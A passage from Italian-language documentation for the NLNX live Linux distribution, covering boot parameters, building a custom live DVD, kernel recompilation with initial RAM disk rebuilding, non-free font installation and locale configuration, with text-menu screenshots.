Nel caso si debba installare NLNX in una partizione di un disco ATA, convivendo con un altro sistema operativo, il problema che si deve risolvere subito sta nel gestire l'avvio separato dei due sistemi, pertanto occorre conoscere la configurazione di GRUB 1 o di SYSLINUX per questo scopo (tenendo conto del rischio di non poter più avviare l'altro sistema operativo se si sbaglia qualcosa). Volendo evitare il problema conviene rinunciare del tutto all'installazione di GRUB 1 o di SYSLINUX, avviando NLNX con l'aiuto del DVD *live* o di un CD di emergenza, indicando la sigla '**menu**' all'avvio. La stessa soluzione (DVD *live* o CD di emergenza per l'avvio) varrebbe installando NLNX in un disco USB esterno, in presenza di un BIOS che non è in grado di avviarlo.

51.4.6 Osservazioni sull'aggiornamento del kernel

Come descritto nella sezione dedicata alla modifica di NLNX (51.6), se si vuole compilare un kernel personalizzato, occorre ricostruire la coppia di dischi RAM iniziali. Ciò che può sfuggire è il fatto che la copia materiale dei file del kernel e dei dischi RAM iniziali nella partizione usata per l'avvio, deve essere fatta manualmente.

51.5 Avvio di NLNX dopo la sua installazione

NLNX si avvale di un disco RAM iniziale, costituito precisamente dai file '`nlnxrd.img`' e '`onlnxrd.img`' (il file usato dipende effettivamente dal kernel scelto per l'avvio) che si trovano ripetuti in vari punti, ma rimanendo sempre identici nelle varie copie. Il sistema contenuto all'interno del disco RAM iniziale serve principalmente per caricare i moduli necessari all'avvio, ma ne vengono caricati anche altri, in base alle caratteristiche dell'elaboratore individuate automaticamente.

51.5.1 Configurazione dell'avvio

Il sistema contenuto nel disco RAM iniziale e anche il sistema vero e proprio che con questo viene avviato, sono sensibili ad alcuni parametri del kernel che sono specifici di NLNX e si riconoscono perché hanno il prefisso iniziale '**`n_`**' (la lettera «n» sta logicamente per NLNX). In particolare, con il parametro '**`n_boot`**' è possibile istruire questo mini sistema su ciò che si intende fare. Per esempio, passando la voce '**`menu`**', si ottiene un menù di alternative; con la voce '**`rescue`**' si attiva la console per interagire con il sistema minimo; con la voce '**`net`**', si fa in modo che il mini sistema tenti di innestare un file system di rete, contenente un sistema NLNX in sola lettura. Se invece si passano voci come '**`sda`**', '**`sda1`**', '**`sda2`**',... si ottiene l'avvio automatico del sistema installato all'interno di '`/dev/sda`', '`/dev/sda1`', '`/dev/sda2`',...

La distribuzione include dei file di configurazione di esempio per SYSLINUX; tuttavia è il caso di osservare l'estratto seguente:

```
...
LABEL menu
 KERNEL vmlinuz
 APPEND n_boot=menu root=/dev/ram0 ro init=/linuxrc ↩
↪initrd=nlnxrd.img ramdisk_size=30720 n_setupdelay=8
...
LABEL hda1
 KERNEL vmlinuz
 APPEND n_boot=hda1 root=/dev/ram0 ro init=/linuxrc ↩
↪initrd=nlnxrd.img ramdisk_size=30720
...
```

La voce '**`menu`**' dei due esempi serve a richiedere al disco RAM l'attivazione di un menù, pertanto appare l'opzione '**`n_boot=menu`**'; tuttavia, si vede anche l'opzione '**`n_setupdelay=8`**', per ottenere un ritardo di otto secondi prima di costruire il menù stesso (serve per attendere il rilevamento di unità esterne USB eventuali). La voce '**`hda1`**' servirebbe per avviare un sistema NLNX installato nella prima partizione del primo disco PATA; pertanto, appare il parametro

'**n_boot=hda1**', mentre in tal caso non è necessario alcun ritardo per l'individuazione del dispositivo relativo.

È importante osservare che se si utilizza il kernel più «vecchio», ovvero il file 'vmlinuz.old', a questo va associato il file-immagine 'onlnxrd.img', per il disco RAM iniziale. Per le opzioni si vedano le tabelle 50.74 e 50.75.

Seguono alcuni esempi di utilizzo di queste opzioni, dove si punta in particolare all'uso di '**n_xorg_conf**'. Si osservi che quando un'opzione può andare in conflitto con la configurazione automatica ottenuta tramite il DHCP, l'opzione specificata prevale.

```
n_boot=sdd7
```

- avvia il sistema collocato nella partizione corrispondente al file di dispositivo '/dev/sdd7'.

```
n_modules=ehci_hcd:uhci_hcd
```

- carica manualmente i moduli '**ehci_hcd**' e '**uhci_hcd**', per la gestione dei bus USB di tipo EHCI e UHCI. Il caricamento di tali moduli viene richiesto espressamente, perché evidentemente il sistema automatico di riconoscimento dell'hardware non lo fa in modo corretto. Va osservato che se l'elaboratore offre entrambe le possibilità (EHCI e UHCI), i moduli vanno caricati in questo ordine.

```
n_xorg_conf=radeon,,,,
```

- ridefinisce il file '/etc/X11/xorg.conf', partendo dalla configurazione standard di NLNX, stabilendo però che si tratta di un'interfaccia grafica di tipo «radeon».

```
n_xorg_conf=,30-90,50-100,,
```

- ridefinisce il file '/etc/X11/xorg.conf', partendo dalla configurazione standard di NLNX, stabilendo però che la frequenza orizzontale può andare da 30 a 90 kHz, mentre la frequenza verticale può andare da 50 a 100 Hz.

```
n_xorg_conf=,,,32,
```

- ridefinisce il file '/etc/X11/xorg.conf', partendo dalla configurazione standard di NLNX, stabilendo però che la profondità di colori deve essere da 32 bit.

```
n_xorg_conf=,,,,1024x768
```

- ridefinisce il file '/etc/X11/xorg.conf', partendo dalla configurazione standard di NLNX, stabilendo però che la risoluzione grafica deve essere da 1024×768 punti.

```
n_xorg_conf=vesa,30-80,50-80,16,1280x1024
```

- ridefinisce il file '/etc/X11/xorg.conf', stabilendo tutti i valori gestibili in questa fase.

51.5.2 Cenni alla configurazione successiva

Quando si installa NLNX in un disco comune (interno o esterno), conviene creare delle utenze personalizzate. Gli utenti '**tizio**', '**caio**',... '**martino**' e '**calpurnio**', pur non potendo accedere per mancanza di una parola d'ordine, dispongono comunque della loro directory personale: in alcune situazioni ciò può essere utile; in altre può essere considerato un problema di sicurezza. In generale, se gli utenti comuni predefiniti non servono, è meglio eliminare del tutto le loro directory personali, che corrispondono a '/home/tizio/', '/home/caio/',... '/home/calpurnio/'.

In ogni caso, questa modifica non pregiudica la produzione di un nuovo DVD *live*, perché queste directory personali verrebbero ricreate in modo automatico.

Se l'elaboratore in cui si lavora è connesso stabilmente a una rete locale, si può utilizzare il comando '**nlnxrc network config**' per la configurazione di una situazione comune, oppure si può arrivare anche a modificare lo script '/etc/init.d/nlnx.network' (rischiando però di dover rinunciare agli automatismi di NLNX). Può anche essere utile modificare i file '/etc/hostname' e '/etc/mailname'. Per esempio, se il proprio elaboratore deve avere il nome di dominio *dinkel.brot.dg*, il file '/etc/hostname' deve contenere la stringa '**dinkel**', mentre nel file '/etc/mailname' serve il nome di dominio completo.

Una volta installato NLNX, può essere necessario intervenire nel file di configurazione '/etc/X11/xorg.conf', perché in tal caso viene a mancare la configurazione automatica. Per la configurazione manuale si può usare il comando '**nlnxrc x config**', con i privilegi dell'utente '**root**'.

> Attraverso il comando '**nlnxrc x config**' si ricrea il file '/etc/X11/xorg.conf' a partire da '/etc/X11/xorg.conf.vesa', modificando il tipo di adattatore grafico, la mappa della tastiera, i dati relativi alla scansione e alla profondità di colori.

Nel caso si intenda utilizzare il sistema APT (sezione 7.7) per fare delle modifiche sui pacchetti installati o per procedere a un aggiornamento di questi, si ricordi di modificare il file '/etc/apt/sources.list', indicando valori appropriati al proprio contesto.

51.6 Realizzazione di una propria variante di NLNX

NLNX esiste con lo scopo di poter essere adattato facilmente alle proprie esigenze, aggiungendo e togliendo pacchetti a seconda dei bisogni. È possibile fare questo da una copia di NLNX installata secondo la procedura normale su una partizione di un disco fisso.

Si osservi che la modifica eventuale del kernel, seguita dalla sua installazione, deve essere completata con l'aggiornamento delle due versioni del disco RAM iniziale.

51.6.1 Modifica dei pacchetti applicativi installati

In generale, può essere conveniente partire da un'edizione di NLNX abbastanza completa, usando il programma '**orphaner**' per disinstallare tutto ciò che non serve. Il programma '**orphaner**' va usato con l'opzione '**-a**', per visualizzare l'elenco di tutti i pacchetti la cui rimozione non comporta problemi di dipendenze. Naturalmente si devono lasciare i programmi che servono per riprodurre il DVD.

orphaner -a [*Invio*]

```
.-------------------------Orphaner (r487)----------------------------.
| Select packages for removal or cancel to quit:                     |
| .-----------(+)-------------------------------------------------.  |
| |       [ ] myspell-sl                    main/text             | |
| |       [ ] nlnx-80                       main/text             | |
| |       [ ] nlnx-ko                       main/text             | |
| |       [ ] nlnx-ok                       main/text             | |
| |       [ ] nmapfe                        main/net              | |
| |       [ ] nrg2iso                       main/otherosfs        | |
| |       [ ] ntfsprogs                     main/otherosfs        | |
| '----------.(+)-------------------------------------------------' |
|--------------------------------------------------------------------|
|       <   OK   >    <Simulate>    < Cancel >    <  Help  >         |
'--------------------------------------------------------------------'
```

Riquadro 51.28. Pacchetti specifici di NLNX.

NLNX potrebbe includere dei pacchetti Debian realizzati appositamente, per ricordare le dipendenze principali dell'edizione standard. Si tratta dei pacchetti il cui nome inizia per '**nlnx-**'.

Quando si tenta di adattare NLNX, questi pacchetti possono essere di intralcio, pertanto si possono rimuovere, senza temere effetti collaterali, a parte il fatto di non avere più riferimenti su cosa è indispensabile e su cosa invece è di intralcio o crea conflitti.

Eventualmente, si possono modificare gli stessi pacchetti intervenendo nel contenuto delle directory '`/etc/nlnx/debian-packages/*/`', ricompilandoli attraverso lo script '`/etc/nlnx/debian-packages/make-nlnx-packages`'. I file dei pacchetti generati si ottengono nella directory personale dell'utente '**root**':

cd /etc/nlnx/debian-packages/ [*Invio*]

./make-nlnx-packages [*Invio*]

cd /root [*Invio*]

dpkg -i nlnx-..._i386.deb [*Invio*]

51.6.2 Creazione del file-immagine della versione *live*

Una volta fatte le modifiche che si desiderano, si può usare il comando '**nlnxrc nlnx make**', senza argomenti, il quale innesta il file system principale nella directory '`/RO-FS/RW-FS/`' ed esegue le altre operazioni necessarie, dopo aver ottenuto alcune informazioni indispensabili:

nlnxrc nlnx make [*Invio*]

```
.-------------------------NLNX--------------------------.
| Please note that producing the new disc or image file  |
| requires a lot of virtual memory (so you need a lot of |
| swap space) and a lot of free space inside "/tmp/".    |
|                                                        |
| Is it ok? Should I continue?                           |
|                                                        |
|--------------------------------------------------------|
|                 < Yes >         < No  >                |
'--------------------------------------------------------'
```

Come avverte il riquadro iniziale, prima di poter avviare la procedura di creazione del nuovo disco o file-immagine, occorre verificare di avere abbastanza memoria virtuale e spazio su disco.

Dopo l'avvertimento iniziale si passa all'indicazione dell'edizione:

```
.-------NLNX release---------.
| Please insert the NLNX     |
| release identification     |
| string:                    |
| .------------------------. |
| |2010.02.22              | |
| '------------------------' |
|----------------------------|
|   <  OK  >  <Cancel>       |
'----------------------------'
```

Viene quindi chiesto di specificare il percorso del file-immagine da creare. Quanto predefinito corrisponde a un file nella directory '`/root/`':

```
.--------NLNX image file-----------.
| Please insert the NLNX image     |
| file pathname:                   |
| .------------------------------. |
| |/root/nlnx-2010.02.22.img     | |
| '------------------------------' |
|----------------------------------|
|       <  OK  >    <Cancel>       |
'----------------------------------'
```

A questo punto vengono fatte delle richieste che riguardano la configurazione locale iniziale del sistema che si va a creare. Si comincia con la lingua per il funzionamento da console:

```
.---------Console language selection-----------.
| Please select your language for the console: |
| .------------------------------------------. |
| |   en_US  default or previous selection   | |
| |   aa_DJ                                  | |
| |   af_ZA                                  | |
| |   br_FR                                  | |
| |   bs_BA                                  | |
| |   ca_ES                                  | |
| |   cs_CZ                                  | |
| |   da_DK                                  | |
| |   de_AT                                  | |
| |   de_BE                                  | |
| |   de_CH                                  | |
| |   de_DE                                  | |
| '---v(+)-----------------------------------' |
|----------------------------------------------|
|           <  OK  >      <Cancel>             |
'----------------------------------------------'
```

Il carattere usato per la console:

```
.--------------------------Console font selection----------------------------.
| Please select your console font:                                           |
| .----------------------------------------------------------------------.  |
| | LatArCyrHeb-16+.psf.gz  previous_value                               | |
| | LatArCyrHeb-08.psf.gz   /usr/share/consolefonts/LatArCyrHeb-08.psf.gz  | |
| | LatArCyrHeb-14.psf.gz   /usr/share/consolefonts/LatArCyrHeb-14.psf.gz  | |
| | LatArCyrHeb-16.psf.gz   /usr/share/consolefonts/LatArCyrHeb-16.psf.gz  | |
| | LatArCyrHeb-16+.psf.gz  /usr/share/consolefonts/LatArCyrHeb-16+.psf.gz | |
| | LatArCyrHeb-19.psf.gz   /usr/share/consolefonts/LatArCyrHeb-19.psf.gz  | |
| '----------------------------------------------------------------------'  |
|----------------------------------------------------------------------------|
|                       <  OK  >            <Cancel>                         |
'----------------------------------------------------------------------------'
```

La mappa per la tastiera durante l'utilizzo della console:

```
.----------------------Console keyboard map selection------------------------.
| Please select your console keyboard map:                                   |
| .----------------------------------------------------------------------.  |
| |it-xorg               previous_value                                  | |
| |azerty                /usr/share/keymaps/i386/azerty/azerty.kmap.gz    | |
| |be2-latin1            /usr/share/keymaps/i386/azerty/be2-latin1.kmap.gz | |
| |be-latin1             /usr/share/keymaps/i386/azerty/be-latin1.kmap.gz  | |
| |fr                    /usr/share/keymaps/i386/azerty/fr.kmap.gz        | |
| |fr-latin0             /usr/share/keymaps/i386/azerty/fr-latin0.kmap.gz  | |
| |fr-latin1             /usr/share/keymaps/i386/azerty/fr-latin1.kmap.gz  | |
| |fr-latin9             /usr/share/keymaps/i386/azerty/fr-latin9.kmap.gz  | |
| |fr-pc                 /usr/share/keymaps/i386/azerty/fr-pc.kmap.gz     | |
| |fr-x11                /usr/share/keymaps/i386/azerty/fr-x11.kmap.gz    | |
| |mac-usb-be            /usr/share/keymaps/i386/azerty/mac-usb-be.kmap.gz | |
| |mac-usb-fr            /usr/share/keymaps/i386/azerty/mac-usb-fr.kmap.gz | |
| |mac-usb-it            /usr/share/keymaps/i386/azerty/mac-usb-it.kmap.gz | |
| |wangbe                /usr/share/keymaps/i386/azerty/wangbe.kmap.gz    | |
| |ANSI-dvorak           /usr/share/keymaps/i386/dvorak/ANSI-dvorak.kmap.gz| |
| |dvorak-classic        /usr/share/keymaps/i386/dvorak/dvorak-classic.kmap| |
| 'v(+)------------------------------------------------------------------'  |
|----------------------------------------------------------------------------|
|                       <  OK  >            <Cancel>                         |
'----------------------------------------------------------------------------'
```

La lingua per il funzionamento in modo grafico:

```
.------------X language selection---------------.
| Please select your language for the X         |
| graphical environment.                        |
| Please note that if there will be an          |
| environment variable LANG_FOR_X defined, it   |
| will override this selection.                 |
| .---^(+)------------------------------------. |
| |   pa_IN.UTF-8          UTF-8              | |
| |   pl_PL.UTF-8          UTF-8              | |
| |   pt_BR.UTF-8          UTF-8              | |
| |   pt_PT.UTF-8          UTF-8              | |
| |   ro_RO.UTF-8          UTF-8              | |
| |   ru_RU.UTF-8          UTF-8              | |
| |   ru_UA.UTF-8          UTF-8              | |
| |   se_NO.UTF-8          UTF-8              | |
| |   sid_ET.UTF-8         UTF-8              | |
| |   sk_SK.UTF-8          UTF-8              | |
| '---v(+)------------------------------------' |
|-----------------------------------------------|
|           <  OK  >      <Cancel>              |
'-----------------------------------------------'
```

Il fuso orario:

```
.--------------------Time zone selection-----------------------.
| Please select your time zone:                                |
| .----------------------------------------------------------. |
| |   Europe/Rome                previous_value              | |
| |   Africa/Abidjan             Africa/Abidjan              | |
| |   Africa/Accra               Africa/Accra                | |
| |   Africa/Addis_Ababa         Africa/Addis_Ababa          | |
| |   Africa/Algiers             Africa/Algiers              | |
| |   Africa/Asmera              Africa/Asmera               | |
| |   Africa/Bamako              Africa/Bamako               | |
| |   Africa/Bangui              Africa/Bangui               | |
| |   Africa/Banjul              Africa/Banjul               | |
| |   Africa/Bissau              Africa/Bissau               | |
| |   Africa/Blantyre            Africa/Blantyre             | |
| |   Africa/Brazzaville         Africa/Brazzaville          | |
| `---v(+)---------------------------------------------------' |
|--------------------------------------------------------------|
|                <  OK  >        <Cancel>                      |
`--------------------------------------------------------------'
```

Il numero massimo di pagine stampabili per volta:

```
.--Set max lpr/lp printable pages----.
| Please insert how many pages are   |
| allowed to be printed for any      |
| single print; if you enter zero or |
| you leave blank, there is no       |
| limit:                             |
| .--------------------------------. |
| |15                              | |
| `--------------------------------' |
|------------------------------------|
|       <  OK  >    <Cancel>         |
`------------------------------------'
```

Infine viene chiesto che tipo di parola d'ordine usare per l'utente '**`root`**' e il nome dell'elaboratore:

```
.-----------root password selection--------------.
| Please, select the root password to be used:   |
| .--------------------------------------------. |
| |   nlnx     the default NLNX password       | |
| |   current  copy the current password       | |
| |   x        disable root password at all!   | |
| `--------------------------------------------' |
|------------------------------------------------|
|           <  OK  >      <Cancel>               |
`------------------------------------------------'
```

```
.---------hostname-----------.
| Please insert the hostname |
| to be used:                |
| .------------------------. |
| |nlnx                    | |
| `------------------------' |
|----------------------------|
|   <  OK  >  <Cancel>       |
`----------------------------'
```

I file '`/etc/passwd`' e '`/etc/group`' vengono copiati nell'immagine del disco eliminando prima le utenze con numero UID da 1000 a 29999 (si osservi che gli utenti '**`tizio`**' e gli

altri previsti per NLNX hanno numeri UID inferiori); di conseguenza il file '/etc/shadow' viene ricreato, usando la parola d'ordine scelta per l'utente '**root**', mentre per tutte le altre utenze standard ('**tizio**', '**caio**',... '**martino**', '**calpurnio**', e anche '**user**', '**admin0**', '**admin1**',... '**admin9**') viene usata la parola d'ordine standard: «nlnx».

Come si comprende, le utenze amministrative standard sono rese operative e questo per consentire di avere anche un'utenza '**root**' priva di parola d'ordine e quindi inutilizzabile.

La possibilità di disabilitare del tutto le parole d'ordine di '**root**' riguarda soprattutto la didattica, quando si vuole produrre un sistema su DVD *live*, oppure su unità a memoria solida USB, oppure ancora avviato direttamente dalla rete, senza l'intenzione di dare a utenti poco esperti la disponibilità di un'arma letale.

Lo script usato per la masterizzazione, prima della preparazione dei dati si occupa di sistemare alcune cose, come la **cancellazione della directory temporanea** e la creazione di una directory 'etc/' adatta. Successivamente, la preparazione dei dati richiede un certo tempo:

```
...
[/etc/script/nlnxrc] "RW-FS/usr/share/dpatch"
[/etc/script/nlnxrc] "RW-FS/usr/share/dpkg"
[/etc/script/nlnxrc] "RW-FS/usr/share/dvdauthor"
[/etc/script/nlnxrc] "RW-FS/usr/share/dwww"
[/etc/script/nlnxrc] "RW-FS/usr/share/e2fsprogs"
[/etc/script/nlnxrc] "RW-FS/usr/share/emacs"
[/etc/script/nlnxrc] "RW-FS/usr/share/emacs21"
[/etc/script/nlnxrc] "RW-FS/usr/share/emoticons"
[/etc/script/nlnxrc] "RW-FS/usr/share/enchant"
[/etc/script/nlnxrc] "RW-FS/usr/share/enscript"
[/etc/script/nlnxrc] "RW-FS/usr/share/espeak-data"
[/etc/script/nlnxrc] "RW-FS/usr/share/et"
[/etc/script/nlnxrc] "RW-FS/usr/share/evince"
[/etc/script/nlnxrc] "RW-FS/usr/share/festival"
[/etc/script/nlnxrc] "RW-FS/usr/share/ffmpeg"
[/etc/script/nlnxrc] "RW-FS/usr/share/file"
[/etc/script/nlnxrc] "RW-FS/usr/share/file-roller"
[/etc/script/nlnxrc] "RW-FS/usr/share/fonts"
[/etc/script/nlnxrc] "RW-FS/usr/share/foomatic"
[/etc/script/nlnxrc] "RW-FS/usr/share/freecad"
[/etc/script/nlnxrc] "RW-FS/usr/share/fvwm"
...
```

51.6.2.1 Identificazione dell'edizione

L'edizione standard di NLNX è identificata dalla data di realizzazione, o di pubblicazione:

`2010.12.31`

Eventualmente, la mancanza del giorno indica la prima edizione del mese, mentre la mancanza anche del mese, indica che si tratta della prima edizione di quell'anno.

Le derivazioni di NLNX è bene siano identificabili come tali, possibilmente utilizzando un nome completamente diverso; tuttavia, se non gli si cambia il nome, è importante che già dalla stringa di edizione si capisca che si tratta di una variante, usando una forma abbastanza differente, che, possibilmente, consenta di intendere la natura della modifica o il contesto per il quale la derivazione è stata realizzata.

51.6.3 Ricompilazione del kernel

Il kernel standard di NLNX è fatto per gestire le situazioni più comuni; tuttavia ci sono componenti che non sono incluse, nemmeno come moduli. Per questo motivo, di norma sono presenti i sorgenti che sono serviti per la preparazione dei kernel utilizzati.

I sorgenti si trovano precisamente a partire da '`/usr/src/`'. Prima di passare alla configurazione con '**`make menuconfig`**' (o altro comando simile), conviene copiare il file di configurazione del kernel standard, che si trova nella directory '`/boot/`'. Per esempio, ipotizzando un kernel 2.6.23.9, si tratta di eseguire i passaggi seguenti:

`#` **`cp /boot/config-2.6.23.9 /usr/src/linux-2.6.23.9/.config`** [*Invio*]

`#` **`cd /usr/src/linux-2.6.23.9`** [*Invio*]

`#` **`make menuconfig`** [*Invio*]

Al termine, una volta salvata una nuova configurazione, si passa alla compilazione, con l'aiuto di '**`nlnxrc`**':

`#` **`nlnxrc kernel make`** [*Invio*]

```
.-----kernel revision--------.
| Please insert the kernel   |
| revision (must contain at  |
| least a number):           |
| .------------------------. |
| |                        | |
| '------------------------' |
|----------------------------|
|   <  OK  >  <Cancel>       |
'----------------------------'
```

Viene richiesto di inserire una stringa di identificazione della revisione del kernel che deve contenere obbligatoriamente almeno un numero. Si potrebbe inserire qualcosa di simile all'esempio seguente:

`01mio` [*Invio*]

Si osservi che si possono usare solo numeri e lettere (prima le cifre numeriche e poi le lettere alfabetiche). Se la stringa fornita non è accettabile, si ottiene una segnalazione di errore e occorre ripetere il comando.

Al termine, se tutto funziona come previsto, si ottengono alcuni pacchetti Debian nella directory personale dell'utente '**root**'. Seguendo l'esempio, si ottiene precisamente il file '/root/linux-image-2.6.23.9_nl01mio_i386.deb' e si dovrebbero ottenere i file relativi ai moduli aggiuntivi, tra cui, per esempio, '/root/ndiswrapper-modules-2.6.23.9_3.3-3+nl01mio_i386.deb' (ma questi moduli non sono indispensabili). Per installare i vari pacchetti si usa normalmente il programma '**dpkg**':

cd /root [*Invio*]

dpkg -i linux-image-2.6.23.9_nl01mio_i386.deb [*Invio*]

dpkg -i ndiswrapper-modules-2.6.23.9_1.51-1+nl01mio_i386.deb [*Invio*]

dpkg -i kqemu-modules-2.6.23.9_1.3.0+nl01mio_i386.deb [*Invio*]

...

L'installazione del kernel comporta l'aggiornamento dei collegamenti simbolici previsti nella directory radice: 'vmlinuz' e 'vmlinuz.old'. Purtroppo non è detto che rispecchino le proprie intenzioni ed eventualmente vanno modificati a mano. Dopo questa verifica, si può procedere alla ricostruzione del disco RAM iniziale, nelle sue due versioni, costituite dai file: 'nlnxrd.img' e 'onlnxrd.img'.

nlnxrc initrd make [*Invio*]

> È molto importante ricordare di ricostruire sempre le immagini dei dischi RAM iniziali con il comando '**nlnxrc initrd make**', immediatamente dopo l'installazione di un kernel, perché **diversamente diventa impossibile avviare il sistema!** Inoltre occorre procedere a fare una copia dei file aggiornati nella partizione di avvio: i due kernel, presumibilmente nei nomi abbreviati 'vmlinuz' e 'vmlinuz.old', e i file 'nlnxrd.img' e 'onlnxrd.img'.

Quando viene creato un nuovo DVD *live*, con il comando '**nlnxrc nlnx make**', viene utilizzato sempre il kernel che risulta attivo, secondo quanto riportato dal comando '**uname -a**'; eventualmente si può controllare:

uname -a [*Invio*]

```
Linux nlnx 2.6.23.9 #1 PREEMPT Dec 13 10:38:52 CET 2007 i686 GNU/Linux
```

51.6.4 Installazione di software non libero

Esiste del software che, a vario titolo, non è libero, ma del quale si può avere bisogno. Per aggiungere questo software a una versione installata di NLNX, conviene cercare delle versioni realizzate appositamente in formato di pacchetti Debian, in modo da non complicarsi troppo le cose. Naturalmente, occorre ricordare che se si installa del software non libero, non è possibile produrre una derivazione di NLNX da ridistribuire.

Una volta raccolti i pacchetti Debian da aggiungere alla propria installazione, è sufficiente utilizzare '**dpkg**' con l'opzione '**-i**', come nell'esempio seguente, indicando l'elenco di tutti i file da installare:

```
# dpkg -i msttcorefonts_2.3_all.deb ↩
↪        cabextract_1.2-2_i386.deb [Invio]
```

```
(Lettura del database ...)
Spacchetto ...
Spacchetto ...
Configuro ...
Configuro ...
```

L'esempio mostra specificatamente l'installazione dei pacchetti attraverso cui vengono poi prelevati e installati i caratteri tipografici usati da MS-Windows, i quali non sono liberi. Questi pacchetti, di per sé, sarebbero liberi, ma '**msttcorefonts**' installa automaticamente i caratteri che non sono altrettanto liberi. L'installazione di '**msttcorefonts**' (e di ciò da cui questo dipende) consente di utilizzare tipi di carattere come «Arial» e altri, che diventano indispensabili per visualizzare correttamente certi file di MS-Office, specialmente quando l'incolonnamento delle voci è stata fatta imprudentemente con l'uso di sequenze di spazi orizzontali.

51.7 Configurazione di NLNX per l'interazione con il sistema

La configurazione locale di NLNX, nella sua edizione standard, prevede inizialmente una variabile di ambiente '**LANG**' con il valore '**en_US.UTF-8**' per il funzionamento da console e '**it_IT.UTF-8**' per il funzionamento in modalità grafica, una mappa per la tastiera italiana e il fuso orario italiano; naturalmente, delle versioni modificate di questo lavoro possono essere pubblicate con una configurazione iniziale differente.

Una caratteristica speciale di NLNX per quanto riguarda la configurazione locale consiste nel separare il valore della variabile '**LANG**' per l'uso da console, rispetto a quello da modalità grafica. Ciò consente, per esempio, di utilizzare proficuamente la console, con una configurazione che prevede l'uso di una lingua con alfabeto latino, mentre in modalità grafica si può lavorare con alfabeti esotici, sia fonetici, sia ideografici.

Per quanto riguarda la gestione di X, è prevista una configurazione automatica, quando il file system è in sola lettura, ma in mancanza d'altro è disponibile una configurazione iniziale generica VESA. La configurazione iniziale (automatica o predefinita) può essere modificata con l'aiuto di '**nlnxrc**', oltre che con l'intervento diretto sul file '`/etc/X11/xorg.conf`'.

51.7.1 Configurazione locale

È possibile modificare la configurazione locale con il comando '**nlnxrc locale config**', che cambia comportamento se avviato dall'utente '**root**' o da un utente comune:

```
# nlnxrc locale config [Invio]
```

La prima richiesta a cui si viene sottoposti riguarda la selezione della stringa da assegnare alla variabile '**LANG**', che riguarda direttamente il comportamento della console. Questo valore viene poi salvato nel file '`/etc/nlnx/LANG`': se si accede nuovamente al sistema (eventualmente in un'altra console virtuale), la variabile '**LANG**' viene impostata in base al contenuto di questo file (ciò avviene attraverso '`/etc/profile`').

Figura 51.45. Configurazione della variabile '**LANG**'.

```
.---------Console language selection-----------.
| Please select your language for the console: |
| .-----------------------------------------. |
| |   en_US  default or previous selection   | |
| |   aa_DJ                                  | |
| |   af_ZA                                  | |
| |   br_FR                                  | |
| |   ca_ES                                  | |
| |   da_DK                                  | |
| |   de_AT                                  | |
| |   de_BE                                  | |
| |   de_CH                                  | |
| |   de_DE                                  | |
| '---.(+)----------------------------------' |
|----------------------------------------------|
|           <  OK  >        <Cancel>           |
'----------------------------------------------'
```

Si osservi che vengono proposti solo i linguaggi che possono essere utilizzati effettivamente in una console di un sistema GNU/Linux, in quanto è visualizzabile solo un insieme ristretto di caratteri.

Dopo la variabile '**LANG**' si passa alla selezione dei caratteri usati per la rappresentazione sullo schermo della console. Viene proposto un elenco di alcuni insiemi validi in generale per i linguaggi che si possono selezionare. La scelta si ripercuote immediatamente su tutte le console virtuali.

Figura 51.46. Configurazione dei caratteri usati per la console.

```
.-------------------------Console font selection----------------------------.
| Please select your console font:                                           |
| .-----------------------------------------------------------------------. |
| | LatArCyrHeb-16+.psf.gz  previous_value                                 | |
| | LatArCyrHeb-08.psf.gz   /usr/share/consolefonts/LatArCyrHeb-08.psf.gz  | |
| | LatArCyrHeb-14.psf.gz   /usr/share/consolefonts/LatArCyrHeb-14.psf.gz  | |
| | LatArCyrHeb-16.psf.gz   /usr/share/consolefonts/LatArCyrHeb-16.psf.gz  | |
| | LatArCyrHeb-16+.psf.gz  /usr/share/consolefonts/LatArCyrHeb-16+.psf.gz | |
| | LatArCyrHeb-19.psf.gz   /usr/share/consolefonts/LatArCyrHeb-19.psf.gz  | |
| '-----------------------------------------------------------------------' |
|----------------------------------------------------------------------------|
|                       <  OK  >           <Cancel>                          |
'----------------------------------------------------------------------------'
```

Successivamente viene richiesto di specificare la mappa della tastiera, da usare per la console. Nel caso di una tastiera italiana, è consigliabile la scelta della voce '**it-xorg**'. Anche questa selezione si ripercuote immediatamente su tutte le console virtuali.

Figura 51.47. Configurazione della mappa della tastiera per la console.

```
.----------------------Console keyboard map selection------------------------.
| Please select your console keyboard map:                                   |
| .----------------------------------------------------------------------.   |
| |it-xorg                previous_value                                 |   |
| |azerty                 /usr/share/keymaps/i386/azerty/azerty.kmap.gz  |   |
| |be2-latin1             /usr/share/keymaps/i386/azerty/be2-latin1.kmap.gz |   |
| |be-latin1              /usr/share/keymaps/i386/azerty/be-latin1.kmap.gz  |   |
| |fr                     /usr/share/keymaps/i386/azerty/fr.kmap.gz      |   |
| |fr-latin0              /usr/share/keymaps/i386/azerty/fr-latin0.kmap.gz  |   |
| |fr-latin1              /usr/share/keymaps/i386/azerty/fr-latin1.kmap.gz  |   |
| |fr-latin9              /usr/share/keymaps/i386/azerty/fr-latin9.kmap.gz  |   |
| |fr-pc                  /usr/share/keymaps/i386/azerty/fr-pc.kmap.gz   |   |
| |fr-x11                 /usr/share/keymaps/i386/azerty/fr-x11.kmap.gz  |   |
| |mac-usb-be             /usr/share/keymaps/i386/azerty/mac-usb-be.kmap.gz |   |
| '.(+)------------------------------------------------------------------'   |
|----------------------------------------------------------------------------|
|                      <  OK  >              <Cancel>                         |
'----------------------------------------------------------------------------'
```

Figura 51.48. NLNX si presenta inizialmente con una mappa della tastiera per la console che è stata realizzata appositamente, in modo da essere il più simile possibile a quella usata per la lingua italiana con la grafica di X (si veda eventualmente la sezione 15.5). Volendo selezionare espressamente questo tipo di mappa, occorre scegliere la voce '**`it-xorg`**'.

Il fuso orario viene indicato selezionando una città di riferimento.

Figura 51.49. Configurazione del fuso orario.

```
.--------------------Time zone selection-----------------------.
| Please select your time zone:                                |
| .----------------------------------------------------------. |
| |   Europe/Rome                 previous_value             | |
| |   Africa/Abidjan              Africa/Abidjan             | |
| |   Africa/Accra                Africa/Accra               | |
| |   Africa/Addis_Ababa          Africa/Addis_Ababa         | |
| |   Africa/Algiers              Africa/Algiers             | |
| |   Africa/Asmera               Africa/Asmera              | |
| |   Africa/Bamako               Africa/Bamako              | |
| |   Africa/Bangui               Africa/Bangui              | |
| |   Africa/Banjul               Africa/Banjul              | |
| |   Africa/Bissau               Africa/Bissau              | |
| |   Africa/Blantyre             Africa/Blantyre            | |
| |   Africa/Brazzaville          Africa/Brazzaville         | |
| `---v(+)---------------------------------------------------' |
|--------------------------------------------------------------|
